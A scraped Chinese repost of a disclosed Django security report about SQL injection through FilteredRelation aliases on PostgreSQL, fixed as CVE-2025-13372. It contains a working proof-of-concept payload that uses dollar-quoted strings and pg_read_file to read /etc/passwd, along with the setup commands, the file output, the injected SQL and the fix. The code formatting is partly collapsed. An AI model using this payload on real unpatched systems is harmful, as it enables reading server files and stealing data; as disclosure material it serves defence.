2026/4/6 9:31:50
网站建设
项目流程
兰州城乡建设局网站,wordpress ftp插件,网站建设工作情况报告,咸阳万企网站建设Django | 报告 #3417967 - 在PostgreSQL上注解FilteredRelation时潜在的SQL注入
时间线
已验证身份的Hacker#xff1a;已成功完成身份验证检查的黑客。stackered 向 Django 提交了一份报告。
时间#xff1a;2025年11月9日#xff0c;晚上8:26#xff08;UTC#xff09;报…Django | 报告 #3417967 - 在PostgreSQL上注解FilteredRelation时潜在的SQL注入时间线已验证身份的Hacker已成功完成身份验证检查的黑客。stackered向 Django 提交了一份报告。时间2025年11月9日晚上8:26UTC报告内容嗨Django 安全团队这个漏洞与CVE 2025-57833和CVE 2025-59681相关因为它源于FORBIDDEN_ALIAS_PATTERN中不完整的正则表达式过滤。在 PostgreSQL 中$符号可以用来替换引号并在标签之间构建原始字符串例如$$something$$或$tag$something$tag$。这可以被滥用来使部分查询被解释为原始字符串而不是要执行的实际查询。在某些情况下这允许构建注入如下面的概念验证PoC所示。以下 PoC 可以粘贴到tests/filtered_relation/tests.py文件的FilteredRelationTests类中。PoC 代码(712 字节)deftest_sqli(self):user_data$a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1qs(Book.objects.annotate(**{user_data:FilteredRelation(editor),}).select_related(user_data))try:importdjangoforeinqs.all():print(######### 注入成功 #########)print(e.title)print(############################)exceptdjango.db.utils.ProgrammingErrorase:print(f------\n{e})这个 PoC 将从 PostgreSQL Docker 容器中读取/etc/passwd文件你可以使用以下命令运行该容器dockerrun --rm -it --nethost --name some-postgis -ePOSTGRES_PASSWORDmysecretpassword -d postgres将tests/test_sqlite.py文件修改为DATABASES{default:{ENGINE:django.db.backends.postgresql,NAME:django,USER:postgres,PORT:5432,HOST:localhost},}SECRET_KEYmysecretpassword最后可以使用以下命令执行 PoCcddjango/tests python3 runtests.py filtered_relation.tests.FilteredRelationTests.test_sqli以下是输出结果显示成功读取了 Docker 容器中的文件。输出(1.01 KiB)######### 注入成功 ######### root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin postgres:x:999:999::/var/lib/postgresql:/bin/bash ############################所执行的完整 SQL 查询如下完整SQL查询(1.07 KiB)SELECTfiltered_relation_book.id,filtered_relation_book.title,filtered_relation_book.author_id,filtered_relation_book.editor_id,filtered_relation_book.number_editor,filtered_relation_book.editor_number,filtered_relation_book.state,$a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1.id,$a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1.nameFROMfiltered_relation_bookINNERJOINfiltered_relation_editor$a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1ON(filtered_relation_book.editor_id$a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1.id)这个漏洞在此上下文中起作用因为用户输入在查询中被多次反射允许$a$、$b$、$c$…… 等标签被闭合并使查询的大部分内容被解释为 select 语句的原始字符串。以下是简化后的查询便于阅读SELECTfiltered_relation_book.id,filtered_relation_book.title,filtered_relation_book.author_id,filtered_relation_book.editor_id,filtered_relation_book.number_editor,filtered_relation_book.editor_number,filtered_relation_book.state,$a$...$a$,$b$...$b$,$c$...$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1.id)影响这是一个 SQL 注入漏洞允许窃取数据、读取系统文件如 PoC 所示或允许远程命令执行。修复方案修复方法是在FORBIDDEN_ALIAS_PATTERN正则表达式中添加$符号。后续处理流程jacobtylerwalls (Django 员工)发表了评论。时间2025年11月10日下午5:15UTC内容感谢您的报告。我们将进行调查并尽快回复您。在此期间请对此信息保密。如果您还没有查看请查阅 Django 安全团队如何评估报告。请注意我们可能需要几周时间才能完成分析。除非您发现新的相关信息否则无需催促安全团队。所有报告都力求在行业标准的 90 天内解决。jacobtylerwalls (Django 员工)发表了评论。时间14天前内容您好 stackered感谢您的报告和耐心等待。我们已经确认了该漏洞并已为其分配了CVE-2025-13372。我已附上我们提议的缓解解决方案。请您测试一下补丁确保它能可靠地修复问题。我们计划在一篇博客文章中提及漏洞的发现者。使用 “stackered” 可以吗或者您希望以其他方式署名包含此修复的 Django 版本目前计划于 12 月 2 日发布。在更新版本发布之前请对此保密。附件0001-Fixed-CVE-2025-13372-Protected-FilteredRelation-agai.patchjacobtylerwalls (Django 员工)将状态更改为已分类。时间14天前stackered (已验证身份的Hacker)发表了评论。时间13天前内容您好 Jacob我已经测试了提议的补丁并且无法再复现该问题。署名用 “stackered” 就可以谢谢。祝您有美好的一天nessita (Django 员工)关闭了报告并将状态更改为已解决。时间3小时前内容此问题已于 2025 年 12 月 2 日下午 2 点修复并发布。已发布 Django 安全版本5.2.9、5.1.15 和 4.2.27。详细信息可在 Django 项目博客上找到。The Internet Bug Bounty已决定此报告不符合赏金资格。时间3小时前内容Django 不为安全报告提供金钱奖励。您可以按照以下链接向 Internet Bug Bounty 计划提交该问题。nessita (Django 员工)请求披露此报告。时间3小时前stackered同意披露此报告。时间3小时前此报告已被披露。时间3小时前报告信息摘要报告时间2025年11月9日晚上8:23UTC报告人stackered报告对象Django报告 ID#3417967状态已解决严重性高 (8.1)披露时间2025年12月2日下午3:28UTC弱点类型SQL 注入CVE IDCVE-2025-57833 CVE-2025-59681赏金隐藏无biOK/hzhVF2yKaGc5mK8oXIEkdw1U0SUEAjO/010PZr9RfhPoQi2Nl74TDGw282o更多精彩内容 请关注我的个人公众号 公众号办公AI智能小助手对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号网络安全技术点滴分享